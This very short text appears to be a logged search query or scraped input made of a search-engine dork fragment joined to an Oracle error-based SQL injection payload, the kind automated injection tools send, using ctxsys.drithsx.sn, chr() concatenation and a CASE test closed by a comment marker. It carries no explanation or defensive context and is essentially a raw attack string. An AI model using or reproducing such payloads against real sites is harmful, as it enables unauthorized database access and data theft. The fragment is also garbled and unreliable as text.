4.1624inurl index php db information schema'""'' where 8725=8725 and 3102=ctxsys.drithsx.sn(3102,(chr(113)||chr(122)||chr(112)||chr(107)||chr(113)||(select (case when (3102=3102) then 1 else 0 end) from dual)||chr(113)||chr(118)||chr(106)||chr(112)||chr(113)))-- jqcg